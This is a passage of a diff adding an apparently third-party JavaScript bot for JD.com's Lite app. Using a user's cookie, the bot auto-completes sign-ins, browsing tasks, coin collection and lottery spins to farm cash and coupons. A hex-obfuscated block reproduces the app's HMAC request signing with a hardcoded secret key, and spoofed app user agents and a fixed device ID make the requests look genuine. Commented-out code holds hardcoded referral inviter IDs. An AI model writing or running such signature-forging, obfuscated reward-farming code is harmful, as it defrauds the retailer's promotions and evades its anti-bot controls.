JSON.parse(data); + //console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function sign() { + return new Promise(resolve => { + $.get(taskUrl('speedSign', { + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === 0) { + console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) + } else { + console.log(`签到失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function taskList() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": {"channel": 1} + }), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + for (let task of data.data) { + $.taskName = task.taskInfo.mainTitle + if (task.taskInfo.status === 0) { + if (task.taskType >= 1000) { + await doTask(task.taskType) + await $.wait(1000) + } else { + $.canStartNewItem = true + while ($.canStartNewItem) { + if (task.taskType !== 3) { + await queryItem(task.taskType) + } else { + await startItem("", task.taskType) + } + } + } + } else { + console.log(`${task.taskInfo.mainTitle}已完成`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "marketTaskRewardPayment", + "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`${data.data.taskInfo.mainTitle}任务完成成功,预计获得${data.data.reward}金币`) + } else { + console.log(`任务完成失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function queryJoy() { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.taskBubbles) + for (let task of data.data.taskBubbles) { + await rewardTask(task.id, task.activeType) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardTask(id, taskId) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "joyTaskReward", + "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + $.score += data.data.reward + console.log(`气泡收取成功,获得${data.data.reward}金币`) + } else { + console.log(`气泡收取失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +async function queryItem(activeType = 1) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "queryNextTask", + "data": {"channel": 1, "activeType": activeType} + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + await startItem(data.data.nextResource, activeType) + } else { + console.log(`商品任务开启失败,${data.message}`) + $.canStartNewItem = false + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function startItem(activeId, activeType) { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', { + "method": "enterAndLeave", + "data": { + "activeId": activeId, + "clientTime": +new Date(), + "channel": "1", + "messageType": "1", + "activeType": activeType, + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data) { + if (data.data.taskInfo.isTaskLimit === 0) { + let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + if (activeType !== 3) + videoBrowsing = activeType === 1 ? 5 : 10 + console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) + await $.wait(videoBrowsing * 1000) + await endItem(data.data.uuid, activeType, activeId, activeType === 3 ? videoBrowsing : "") + } else { + console.log(`${$.taskName}任务已达上限`) + $.canStartNewItem = false + } + } else { + $.canStartNewItem = false + console.log(`${$.taskName}任务开启失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "enterAndLeave", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + // let t = +new Date() + // let inviterId = [ + // "5V7vHE23qh2EkdBHXRFDuA==", + // ][Math.floor((Math.random() * 1))] + // let headers = { + // 'Host': 'api.m.jd.com', + // 'accept': 'application/json, text/plain, */*', + // 'content-type': 'application/x-www-form-urlencoded', + // 'origin': 'https://assignment.jd.com', + // 'accept-language': 'zh-cn', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + // 'referer': `https://assignment.jd.com/?inviterId=${encodeURIComponent(inviterId)}`, + // 'Cookie': cookie + // } + // + // let dataString = `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${encodeURIComponent(inviterId)}","type":1}}&appid=market-task-h5&uuid=&_t=${t}`; + // + // var options = { + // url: 'https://api.m.jd.com/', + // headers: headers, + // body: dataString + // } + // $.post(options, (err, resp, data) => { + // // console.log(data) + // }) +} + +function invite() { + // let t = +new Date() + // let inviterId = [ + // "5V7vHE23qh2EkdBHXRFDuA==", + // "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=" + // ][Math.floor((Math.random() * 2))] + // var headers = { + // 'Host': 'api.m.jd.com', + // 'accept': 'application/json, text/plain, */*', + // 'content-type': 'application/x-www-form-urlencoded', + // 'origin': 'https://invite-reward.jd.com', + // 'accept-language': 'zh-cn', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + // 'referer': 'https://invite-reward.jd.com/', + // 'Cookie': cookie + // }; + // + // var dataString = `functionId=InviteFriendChangeAssertsService&body={"method":"attendInviteActivity","data":{"inviterPin":"${encodeURIComponent(inviterId)}","channel":1,"token":"","frontendInitStatus":""}}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`; + // var options = { + // url: `https://api.m.jd.com/?t=${t}`, + // headers: headers, + // body: dataString + // }; + // $.post(options, (err, resp, data) => { + // // console.log(data) + // }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = 